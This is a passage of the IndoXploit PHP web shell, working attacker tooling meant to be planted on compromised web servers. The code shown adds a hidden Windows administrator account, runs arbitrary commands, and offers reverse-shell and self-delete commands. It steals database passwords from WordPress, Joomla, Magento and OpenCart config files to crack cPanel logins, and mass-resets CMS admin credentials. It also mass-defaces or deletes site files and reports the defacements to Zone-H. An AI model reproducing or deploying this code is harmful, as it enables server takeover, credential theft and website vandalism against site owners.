1090 $add_groups2 = exe("net localgroup Administrator indoxploit /add");
1091 $add_groups3 = exe("net localgroup Administrateur indoxploit /add");
1092
1093 print "[ RDP ACCOUNT INFO ]<br>
1094 ------------------------------<br>
1095 IP: ".color(1, 2, $GLOBALS['SERVERIP'])."<br>
1096 Username: ".color(1, 2, "indoxploit")."<br>
1097 Password: ".color(1, 2, "indoxploit")."<br>
1098 ------------------------------<br><br>
1099 [ STATUS ]<br>
1100 ------------------------------<br>
1101 ";
1102
1103 if($add_user) {
1104 print "[add user] -> ".color(1, 2, "SUCCESS")."<br>";
1105 }
1106 else {
1107 print "[add user] -> ".color(1, 1, "FAILED")."<br>";
1108 }
1109
1110 if($add_groups1) {
1111 print "[add localgroup Administrators] -> ".color(1, 2, "SUCCESS")."<br>";
1112 }
1113 elseif($add_groups2) {
1114 print "[add localgroup Administrator] -> ".color(1, 2, "SUCCESS")."<br>";
1115 }
1116 elseif($add_groups3) {
1117 print "[add localgroup Administrateur] -> ".color(1, 2, "SUCCESS")."<br>";
1118 }
1119 else {
1120 print "[add localgroup] -> ".color(1, 1, "FAILED")."<br>";
1121 }
1122
1123 print "------------------------------<br>";
1124 }
1125}
1126
1127function files_and_folder() {
1128 if(!is_dir(path())) die(color(1, 1, "Directory '".path()."' is not exists."));
1129 if(!is_readable(path())) die(color(1, 1, "Directory '".path()."' not readable."));
1130 print '<table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
1131 <tr>
1132 <th class="th_home"><center>Name</center></th>
1133 <th class="th_home"><center>Type</center></th>
1134 <th class="th_home"><center>Size</center></th>
1135 <th class="th_home"><center>Last Modified</center></th>
1136 <th class="th_home"><center>Owner/Group</center></th>
1137 <th class="th_home"><center>Permission</center></th>
1138 <th class="th_home"><center>Action</center></th>
1139 </tr>';
1140
1141 if(function_exists('opendir')) {
1142 if($opendir = opendir(path())) {
1143 while(($readdir = readdir($opendir)) !== false) {
1144 $dir[] = $readdir;
1145 }
1146 closedir($opendir);
1147 }
1148 sort($dir);
1149 } else {
1150 $dir = scandir(path());
1151 }
1152
1153 foreach($dir as $folder) {
1154 $dirinfo['path'] = path().DIRECTORY_SEPARATOR.$folder;
1155 if(!is_dir($dirinfo['path'])) continue;
1156 $dirinfo['type'] = filetype($dirinfo['path']);
1157 $dirinfo['time'] = date("F d Y g:i:s", filemtime($dirinfo['path']));
1158 $dirinfo['size'] = "-";
1159 $dirinfo['perms'] = writeable($dirinfo['path'], perms($dirinfo['path']));
1160 $dirinfo['link'] = ($folder === ".." ? "<a href='?dir=".dirname(path())."'>$folder</a>" : ($folder === "." ? "<a href='?dir=".path()."'>$folder</a>" : "<a href='?dir=".$dirinfo['path']."'>$folder</a>"));
1161 $dirinfo['action']= ($folder === '.' || $folder === '..') ? "<a href='?act=newfile&dir=".path()."'>newfile</a> | <a href='?act=newfolder&dir=".path()."'>newfolder</a>" : "<a href='?act=rename_folder&dir=".$dirinfo['path']."'>rename</a> | <a href='?act=delete_folder&dir=".$dirinfo['path']."'>delete</a>";
1162 if(function_exists('posix_getpwuid')) {
1163 $dirinfo['owner'] = (object) @posix_getpwuid(fileowner($dirinfo['path']));
1164 $dirinfo['owner'] = $dirinfo['owner']->name;
1165 } else {
1166 $dirinfo['owner'] = fileowner($dirinfo['path']);
1167 }
1168 if(function_exists('posix_getgrgid')) {
1169 $dirinfo['group'] = (object) @posix_getgrgid(filegroup($dirinfo['path']));
1170 $dirinfo['group'] = $dirinfo['group']->name;
1171 } else {
1172 $dirinfo['group'] = filegroup($dirinfo['path']);
1173 }
1174 print "<tr>";
1175 print "<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>".$dirinfo['link']."</td>";
1176 print "<td class='td_home' style='text-align: center;'>".$dirinfo['type']."</td>";
1177 print "<td class='td_home' style='text-align: center;'>".$dirinfo['size']."</td>";
1178 print "<td class='td_home' style='text-align: center;'>".$dirinfo['time']."</td>";
1179 print "<td class='td_home' style='text-align: center;'>".$dirinfo['owner'].DIRECTORY_SEPARATOR.$dirinfo['group']."</td>";
1180 print "<td class='td_home' style='text-align: center;'>".$dirinfo['perms']."</td>";
1181 print "<td class='td_home' style='padding-left: 15px;'>".$dirinfo['action']."</td>";
1182 print "</tr>";
1183 }
1184 foreach($dir as $files) {
1185 $fileinfo['path'] = path().DIRECTORY_SEPARATOR.$files;
1186 if(!is_file($fileinfo['path'])) continue;
1187 $fileinfo['type'] = filetype($fileinfo['path']);
1188 $fileinfo['time'] = date("F d Y g:i:s", filemtime($fileinfo['path']));
1189 $fileinfo['size'] = filesize($fileinfo['path'])/1024;
1190 $fileinfo['size'] = round($fileinfo['size'],3);
1191 $fileinfo['size'] = ($fileinfo['size'] > 1024) ? round($fileinfo['size']/1024,2). "MB" : $fileinfo['size']. "KB";
1192 $fileinfo['perms']= writeable($fileinfo['path'], perms($fileinfo['path']));
1193 if(function_exists('posix_getpwuid')) {
1194 $fileinfo['owner'] = (object) @posix_getpwuid(fileowner($fileinfo['path']));
1195 $fileinfo['owner'] = $fileinfo['owner']->name;
1196 } else {
1197 $fileinfo['owner'] = fileowner($fileinfo['path']);
1198 }
1199 if(function_exists('posix_getgrgid')) {
1200 $fileinfo['group'] = (object) @posix_getgrgid(filegroup($fileinfo['path']));
1201 $fileinfo['group'] = $fileinfo['group']->name;
1202 } else {
1203 $fileinfo['group'] = filegroup($fileinfo['path']);
1204 }
1205 print "<tr>";
1206 print "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href='?act=view&dir=".path()."&file=".$fileinfo['path']."'>$files</a></td>";
1207 print "<td class='td_home' style='text-align: center;'>".$fileinfo['type']."</td>";
1208 print "<td class='td_home' style='text-align: center;'>".$fileinfo['size']."</td>";
1209 print "<td class='td_home' style='text-align: center;'>".$fileinfo['time']."</td>";
1210 print "<td class='td_home' style='text-align: center;'>".$fileinfo['owner'].DIRECTORY_SEPARATOR.$fileinfo['group']."</td>";
1211 print "<td class='td_home' style='text-align: center;'>".$fileinfo['perms']."</td>";
1212 print "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=".path()."&file=".$fileinfo['path']."'>edit</a> | <a href='?act=rename&dir=".path()."&file=".$fileinfo['path']."'>rename</a> | <a href='?act=delete&dir=".path()."&file=".$fileinfo['path']."'>delete</a> | <a href='?act=download&dir=".path()."&file=".$fileinfo['path']."'>download</a></td>";
1213 print "</tr>";
1214 }
1215
1216 print "</table>";
1217 print "<center>Copyright © ".date("Y")." - <a href='http://indoxploit.or.id/' target='_blank'>".color(1, 2, "IndoXploit")."</a></center>";
1218}
1219
1220
1221function action() {
1222 tools("upload");
1223 tools("cmd");
1224 print "<hr style='margin-top: 15px; margin-bottom: 10px;'>";
1225 print "<center>";
1226 print "<ul>";
1227 print "<li>[ <a href='?'>Home</a> ]</li>";
1228 print "<li>[ <a href='?dir=".path()."&do=fakeroot'>Fake Root</a> ]</li>";
1229 print "<li>[ <a href='?dir=".path()."&do=cpanel'>cPanel Crack</a> ]</li>";
1230 print "<li>[ <a href='?dir=".path()."&do=mpc'>Mass Password Change</a> ]</li>";
1231 print "<li>[ <a href='?dir=".path()."&do=mass'>Mass Deface/Delete</a> ]</li>";
1232 print "<li>[ <a href='?dir=".path()."&do=zoneh'>Zone-H</a> ]</li>";
1233 print "</ul>";
1234 print "</center>";
1235 print "<hr style='margin-top: 15px; margin-bottom: 10px;'>";
1236
1237
1238 if(isset($_GET['do'])) {
1239 if($_GET['do'] === "cmd") {
1240 if(isset($_POST['cmd'])) {
1241 if(preg_match("/^rf (.*)$/", $_POST['cmd'], $match)) {
1242 tools("readfile", $match[1]);
1243 }
1244 elseif(preg_match("/^spawn (.*)$/", $_POST['cmd'], $match)) {
1245 tools("spawn", $match[1]);
1246 }
1247 elseif(preg_match("/^symlink$/", $_POST['cmd'], $match)) {
1248 tools("symlink");
1249 }
1250 elseif(preg_match("/^rvr (.*)$/", $_POST['cmd'], $match)) {
1251 tools("network", $match[1]);
1252 }
1253 elseif(preg_match("/^krdp$/", $_POST['cmd'])) {
1254 tools("krdp");
1255 }
1256 elseif(preg_match("/^jumping$/", $_POST['cmd'])) {
1257 tools("jumping");
1258 }
1259 elseif(preg_match("/^idxconfig$/", $_POST['cmd'])) {
1260 tools("idxconfig");
1261 }
1262 elseif(preg_match("/^logout$/", $_POST['cmd'])) {
1263 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
1264 print "<script>window.location='?';</script>";
1265 }
1266 elseif(preg_match("/^killme$/", $_POST['cmd'])) {
1267 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
1268 @unlink(__FILE__);
1269 print "<script>window.location='?';</script>";
1270 }
1271 else {
1272 print "<pre>".exe($_POST['cmd'])."</pre>";
1273 }
1274 }
1275 else {
1276 files_and_folder();
1277 }
1278 }
1279 elseif($_GET['do'] === "zoneh") {
1280 if(isset($_POST['submit']) AND $_GET['do'] === "zoneh") {
1281 $nick = $_POST['nick'];
1282 $domain = explode("\r\n", $_POST['url']);
1283
1284 print "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
1285 print "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
1286
1287 foreach($domain as $no => $url) {
1288 $no = ($no+1).".";
1289 $post = curl("http://www.zone-h.org/notify/single", TRUE, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send")['response'];
1290 if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $post)) {
1291 print "$no $url -> ".color(1, 2, "OK")."<br>";
1292 } else {
1293 print "$no $url -> ".color(1, 1, "ERROR")."<br>";
1294 }
1295 }
1296 }
1297 else {
1298 print "<center><form method='post' action='?do=zoneh&dir=".path()."'>
1299 Defacer: <br>
1300 <input type='text' name='nick' size='50' value='IndoXploit'><br><br>
1301 Domains: <br>
1302 <textarea style='width: 450px; height: 150px;' name='url' placeholder='http://google.com/'></textarea><br>
1303 <input style='background: transparent; color: #ffffff; border: 1px solid #ffffff; width: 460px;' type='submit' name='submit' value='Submit'>
1304 </form></center>";
1305 }
1306 }
1307 elseif($_GET['do'] == 'cpanel') {
1308 if($_POST['crack']) {
1309 $usercp = explode("\r\n", $_POST['user_cp']);
1310 $passcp = explode("\r\n", $_POST['pass_cp']);
1311 $i = 0;
1312 foreach($usercp as $ucp) {
1313 foreach($passcp as $pcp) {
1314 $connect = mysql_connect('localhost', $ucp, $pcp);
1315 if($connect) {
1316 if($_SESSION[$ucp] && $_SESSION[$pcp]) {
1317 } else {
1318 $_SESSION[$ucp] = "1";
1319 $_SESSION[$pcp] = "1";
1320 if($ucp === '' || $pcp === '') {
1321 //
1322 } else {
1323 $i++;
1324 print "username (".color(1, 2, $ucp).") password (".color(1, 2, $pcp).") domain (";
1325 if(!function_exists('posix_getpwuid')) print color(1, 1, "Function is Disable by System!");
1326 if(!getdomainname()) print color(1, 1, "Can't get domain name");
1327 foreach(getdomainname() as $domain) {
1328 $userdomain = (object) @posix_getpwuid(@fileowner("/etc/valiases/$domain"));
1329 $userdomain = $userdomain->name;
1330 if($userdomain === $user) {
1331 print "<a href='http://$domain/' target='_blank'>".color(1, 2, $domain)."</a><br>";
1332 break;
1333 }
1334 }
1335 print (empty($domain)) ? color(1, 1, "Can't get domain name.") : color(1, 2, $domain);
1336 print ")<br>";
1337 }
1338 }
1339 mysql_close($connect);
1340 }
1341 }
1342 }
1343 print ($i === 0) ? "" : "<p>".color(1, 3, "Sukses nyolong $i Cpanel by IndoXploit")."</p>";
1344 } else {
1345 print "<center>
1346 <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
1347 <form method='post'>
1348 USER: <br>
1349 <textarea style='width: 450px; height: 150px;' name='user_cp'>";
1350 print implode("\n", getuser());
1351 print "</textarea><br>
1352 PASS: <br>
1353 <span>Grab Password from Link Config:</span><br>
1354 <input style='width: 425px; background: transparent; border: 1px solid #ffffff; color: #ffffff;' type='text' name='linkpass' placeholder='http://web.com/idx_config/'>
1355 <input style='background: transparent; border: 1px solid #ffffff; color: #ffffff;' type='submit' name='submitlink' value='>>'>
1356 <br>
1357 <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
1358
1359 if(isset($_POST['submitlink'])) {
1360 $getpass = $_POST['linkpass'];
1361 $get = curl($_POST['linkpass'])['response'];
1362 preg_match_all('/<a href="(.*?).txt">/', $get, $link);
1363 foreach($link[1] as $link_config) {
1364 $scandir[] = "$link_config.txt";
1365 }
1366 }
1367 else {
1368 $getpass = path();
1369 $scandir = scandir($getpass);
1370 }
1371
1372 $password = "";
1373
1374 foreach($scandir as $files) {
1375 $file = "$getpass/$files";
1376 $config = file_get_contents($file);
1377 if(preg_match("/WordPress/", $config)) {
1378 $password .= getValue($config, "DB_PASSWORD', '", "'")."\n";
1379 }
1380 elseif(preg_match("/JConfig|joomla/", $config)) {
1381 $password .= getValue($config, "password = '", "'")."\n";
1382 }
1383 elseif(preg_match("/Magento|Mage_Core/", $config)) {
1384 $password .= getValue($config, "<password><![CDATA[", "]]></password>")."\n";
1385 }
1386 elseif(preg_match("/panggil fungsi validasi xss dan injection/", $config)) {
1387 $password .= getValue($config, 'password = "', '"')."\n";
1388 }
1389 elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $config)) {
1390 $password .= getValue($config, "'DB_PASSWORD', '", "'")."\n";
1391 }
1392 elseif(preg_match("/^[client]$/", $config)) {
1393 preg_match("/password=(.*?)/", $config, $pass);
1394 if(preg_match('/"/', $pass[1])) {
1395 $pass[1] = str_replace('"', "", $pass[1]);
1396 $password .= $pass[1]."\n";
1397 }
1398 else {
1399 $password .= $pass[1]."\n";
1400 }
1401 }
1402 elseif(preg_match("/cc_encryption_hash/", $config)) {
1403 $password .= getValue($config, "db_password = '", "'")."\n";
1404 }
1405 }
1406
1407 print $password;
1408
1409 print "</textarea><br>
1410 <input style='background: transparent; color: #ffffff; border: 1px solid #ffffff; width: 460px;' type='submit' name='crack' value='Crack'>
1411 </form></center>";
1412 }
1413 }
1414 elseif($_GET['do'] == 'mpc') {
1415 if($_POST['hajar']) {
1416 if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
1417 print "username atau password harus lebih dari 6 karakter";
1418 }
1419 else {
1420 $user_baru = $_POST['user_baru'];
1421 $pass_baru = md5($_POST['pass_baru']);
1422 $conf = $_POST['config_dir'];
1423
1424 if(preg_match("/^http:\/\//", $conf) OR preg_match("/^https:\/\//", $conf)) {
1425 $get = curl($conf)['response'];
1426 preg_match_all('/<a href="(.*?).txt">/', $get, $link);
1427 foreach($link[1] as $link_config) {
1428 $scan_conf[] = "$link_config.txt";
1429 }
1430 }
1431 else {
1432 $scan_conf = scandir($conf);
1433 }
1434
1435 foreach($scan_conf as $file_conf) {
1436 $config = file_get_contents("$conf/$file_conf");
1437 if(preg_match("/JConfig|joomla/",$config)) {
1438 $dbhost = getValue($config,"host = '","'");
1439 $dbuser = getValue($config,"user = '","'");
1440 $dbpass = getValue($config,"password = '","'");
1441 $dbname = getValue($config,"db = '","'");
1442 $dbprefix = getValue($config,"dbprefix = '","'");
1443 $prefix = $dbprefix."users";
1444 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
1445 $db = mysql_select_db($dbname);
1446 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
1447 $result = mysql_fetch_array($q);
1448 $id = $result['id'];
1449 $site = getValue($config,"sitename = '","'");
1450 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
1451 print "Config => ".$file_conf."<br>";
1452 print "CMS => Joomla<br>";
1453 if($site == '') {
1454 print "Sitename => ".color(1, 1, "Can't get domain name")."<br>";
1455 }
1456 else {
1457 print "Sitename => $site<br>";
1458 }
1459 if(!$update OR !$conn OR !$db) {
1460 print "Status => ".color(1, 1, mysql_error())."<br><br>";
1461 }
1462 else {
1463 print "Status => ".color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.")."<br><br>";
1464 }
1465 mysql_close($conn);
1466 } elseif(preg_match("/WordPress/",$config)) {
1467 $dbhost = getValue($config,"DB_HOST', '","'");
1468 $dbuser = getValue($config,"DB_USER', '","'");
1469 $dbpass = getValue($config,"DB_PASSWORD', '","'");
1470 $dbname = getValue($config,"DB_NAME', '","'");
1471 $dbprefix = getValue($config,"table_prefix = '","'");
1472 $prefix = $dbprefix."users";
1473 $option = $dbprefix."options";
1474 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
1475 $db = mysql_select_db($dbname);
1476 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
1477 $result = mysql_fetch_array($q);
1478 $id = $result[ID];
1479 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
1480 $result2 = mysql_fetch_array($q2);
1481 $target = $result2[option_value];
1482 if($target == '') {
1483 $url_target = "Login => ".color(1, 1, "Cant't get domain name")."<br>";
1484 }
1485 else {
1486 $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
1487 }
1488 $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
1489 print "Config => ".$file_conf."<br>";
1490 print "CMS => Wordpress<br>";
1491 print $url_target;
1492 if(!$update OR !$conn OR !$db) {
1493 print "Status => ".color(1, 1, mysql_error())."<br><br>";
1494 }
1495 else {
1496 print "Status => ".color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.")."<br><br>";
1497 }
1498 mysql_close($conn);
1499 }
1500 elseif(preg_match("/Magento|Mage_Core/",$config)) {
1501 $dbhost = getValue($config,"<host><![CDATA[","]]></host>");
1502 $dbuser = getValue($config,"<username><![CDATA[","]]></username>");
1503 $dbpass = getValue($config,"<password><![CDATA[","]]></password>");
1504 $dbname = getValue($config,"<dbname><![CDATA[","]]></dbname>");
1505 $dbprefix = getValue($config,"<table_prefix><![CDATA[","]]></table_prefix>");
1506 $prefix = $dbprefix."admin_user";
1507 $option = $dbprefix."core_config_data";
1508 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
1509 $db = mysql_select_db($dbname);
1510 $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
1511 $result = mysql_fetch_array($q);
1512 $id = $result[user_id];
1513 $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
1514 $result2 = mysql_fetch_array($q2);
1515 $target = $result2[value];
1516 if($target == '') {
1517 $url_target = "Login => ".color(1, 1, "Cant't get domain name")."<br>";
1518 }
1519 else {
1520 $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
1521 }
1522 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
1523 print "Config => ".$file_conf."<br>";
1524 print "CMS => Magento<br>";
1525 print $url_target;
1526 if(!$update OR !$conn OR !$db) {
1527 print "Status => ".color(1, 1, mysql_error())."<br><br>";
1528 }
1529 else {
1530 print "Status => ".color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.")."<br><br>";
1531 }
1532 mysql_close($conn);
1533 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
1534 $dbhost = getValue($config,"'DB_HOSTNAME', '","'");
1535 $dbuser = getValue($config,"'DB_USERNAME', '","'");
1536 $dbpass = getValue($config,"'DB_PASSWORD', '","'");
1537 $dbname = getValue($config,"'DB_DATABASE', '","'");
1538 $dbprefix = getValue($config,"'DB_PREFIX', '","'");
1539 $prefix = $dbprefix."user";
1540 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
1541 $db = mysql_select_db($dbname);
1542 $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
1543 $result = mysql_fetch_array($q);
1544 $id = $result[user_id];
1545 $target = getValue($config,"HTTP_SERVER', '","'");
1546 if($target == '') {
1547 $url_target = "Login => ".color(1, 1, "Cant't get domain name")."<br>";
1548 }
1549 else {
1550 $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
1551 }
1552 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
1553 print "Config => ".$file_conf."<br>";
1554 print "CMS => OpenCart<br>";
1555 print $url_target;
1556 if(!$update OR !$conn OR !$db) {
1557 print "Status => ".color(1, 1, mysql_error())."<br><br>";
1558 }
1559 else {
1560 print "Status => ".color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.")."<br><br>";
1561 }
1562 mysql_close($conn);
1563 }
1564 elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
1565 $dbhost = getValue($config,'server = "','"');
1566 $dbuser = getValue($config,'username = "','"');
1567 $dbpass = getValue($config,'password = "','"');
1568 $dbname = getValue($config,'database = "','"');
1569 $prefix = "users";
1570 $option = "identitas";
1571 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
1572 $db = mysql_select_db($dbname);
1573 $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
1574 $result = mysql_fetch_array($q);
1575 $target = $result[alamat_website];
1576 if($target == '') {
1577 $target2 = $result[url];
1578 $url_target = "Login => ".color(1, 1, "Cant't get domain name")."<br>";
1579 if($target2 == '') {
1580 $url_target2 = "Login => ".color(1, 1, "Cant't get domain name")."<br>";
1581 }
1582 else {
1583 $cek_login3 = file_get_contents("$target2/adminweb/");
1584 $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
1585 if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
1586 $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
1587 }
1588 elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
1589 $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
1590 }
1591 else {
1592 $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
1593 }
1594 }
1595 } else {
1596 $cek_login = file_get_contents("$target/adminweb/");
1597 $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
1598 if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
1599 $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
1600 }
1601 elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
1602 $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
1603 }
1604 else {
1605 $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
1606 }
1607 }
1608 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
1609 print "Config => ".$file_conf."<br>";
1610 print "CMS => Lokomedia<br>";
1611 if(preg_match("/Can't get domain name/", $url_target)) {
1612 print $url_target2;
1613 }
1614 else {
1615 print $url_target;
1616 }
1617 if(!$update OR !$conn OR !$db) {
1618 print "Status => ".color(1, 1, mysql_error())."<br><br>";
1619 }
1620 else {
1621 print "Status => ".color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.")."<br><br>";
1622 }
1623 mysql_close($conn);
1624 }
1625 }
1626 }
1627 }
1628 else {
1629 print "<center>
1630 <h1>Mass Password Change</h1>
1631 <form method='post'>
1632 <input type='radio' name='config_type' value='dir' checked>DIR Config<input type='radio' name='config_type' value='link'>LINK Config<br>
1633 <input type='text' size='50' name='config_dir' value='".path()."'><br><br>
1634 Set User & Pass: <br>
1635 <input type='text' name='user_baru' value='indoxploit' placeholder='user_baru'><br>
1636 <input type='text' name='pass_baru' value='indoxploit' placeholder='pass_baru'><br>
1637 <input style='background: transparent; color: #ffffff; border: 1px solid #ffffff; width: 215px; margin: 5px auto;' type='submit' name='hajar' value='Hajar!'>
1638 </form></center>";
1639 }
1640 }
1641 elseif($_GET['do'] === "mass") {
1642 if($_POST['start']) {
1643 if($_POST['mass_type'] === 'singledir') {
1644 print "<div style='margin: 5px auto; padding: 5px'>";
1645 massdeface($_POST['d_dir'], $_POST['script'], $_POST['d_file']);
1646 print "</div>";
1647 }
1648 elseif($_POST['mass_type'] === 'alldir') {
1649 print "<div style='margin: 5px auto; padding: 5px'>";
1650 massdeface($_POST['d_dir'], $_POST['script'], $_POST['d_file'], "-alldir");
1651 print "</div>";
1652 }
1653 elseif($_POST['mass_type'] === "delete") {
1654 print "<div style='margin: 5px auto; padding: 5px'>";
1655 massdelete($_POST['d_dir'], $_POST['d_file']);
1656 print "</div>";
1657 }
1658 }
1659 else {
1660 print "<center><form method='post'>
1661 <font style='text-decoration: underline;'>Tipe Sabun:</font><br>
1662 <input type='radio' name='mass_type' value='singledir' checked>Mass Deface Single Directory<input type='radio' name='mass_type' value='alldir'>Mass Deface All Directory<input type='radio' name='mass_type' value='delete'>Mass Delete File<br>
1663 <span>( kosongkan 'Index File' jika memilih Mass Delete File )</span><br><br>
1664 <font style='text-decoration: underline;'>Folder:</font><br>
1665 <input type='text' name='d_dir' value='".path()."' style='width: 450px;' height='10'><br><br>
1666 <font style='text-decoration: underline;'>Filename:</font><br>
1667 <input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br><br>
1668 <font style='text-decoration: underline;'>Index File:</font><br>
1669 <textarea name='script' style='width: 450px; height: 200px;'>Hacked by IndoXploit</textarea><br>
1670 <input style='background: transparent; color: #ffffff; border: 1px solid #ffffff; width: 460px; margin: 5px auto;' type='submit' name='start' value='Mass'>
1671 </form></center>";
1672 }
1673 }
1674 elseif($_GET['do'] == 'fakeroot') {
1675 ob_start();
1676
1677 $site = explode("\r\n", $_POST['url']);
1678 $user = usergroup()->name;
1679 $file = $_POST['file'];
1680
1681 if(!preg_match("#/home/$user/public_html#", $_SERVER['DOCUMENT_ROOT'])) die(color(1, 1, "I think this server not using shared host :("));
1682
1683
1684 if($_POST['reverse']) {
1685 if(!is_writable($_SERVER['DOCUMENT_ROOT'])) die(color(1, 1, "Directory '".$_SERVER['DOCUMENT_ROOT']."' is not writeable."));
1686 if(!is_writable(dirname($_SERVER['DOCUMENT_ROOT']))) die(color(1, 1, "Directory '".dirname($_SERVER['DOCUMENT_ROOT'])."' is not writeable."));
1687
1688 save($_SERVER['DOCUMENT_ROOT']."/".$file, "w", $_POST['script']);
1689 save(dirname($_SERVER['DOCUMENT_ROOT'])."/".$file, "w", $_POST['script']);
1690
1691 foreach($site as $url) {
1692 $cek = curl("$url/~$user/$file")['response'];
1693 if(preg_match("/hacked/i", $cek)) {
1694 print "URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> -> <font color=lime>Fake Root!</font><br>";
1695 }
1696 }
1697 } else {
1698 print "<center><form method='post'>
1699 Filename: <br><input type='text' name='file' value='deface.html' size='50' height='10'><br>
1700 User: <br><input type='text' value='$user' size='50' height='10' readonly><br>
1701 Domain: <br>
1702 <textarea style='width: 450px; height: 250px;' name='url'>";
1703 print implode("\n", reverse());
1704 print "</textarea><br>
1705 <font style='text-decoration: underline;'>Index File:</font><br>
1706 <textarea name='script' style='width: 450px; height: 200px;'>Hacked by IndoXploit</textarea><br>
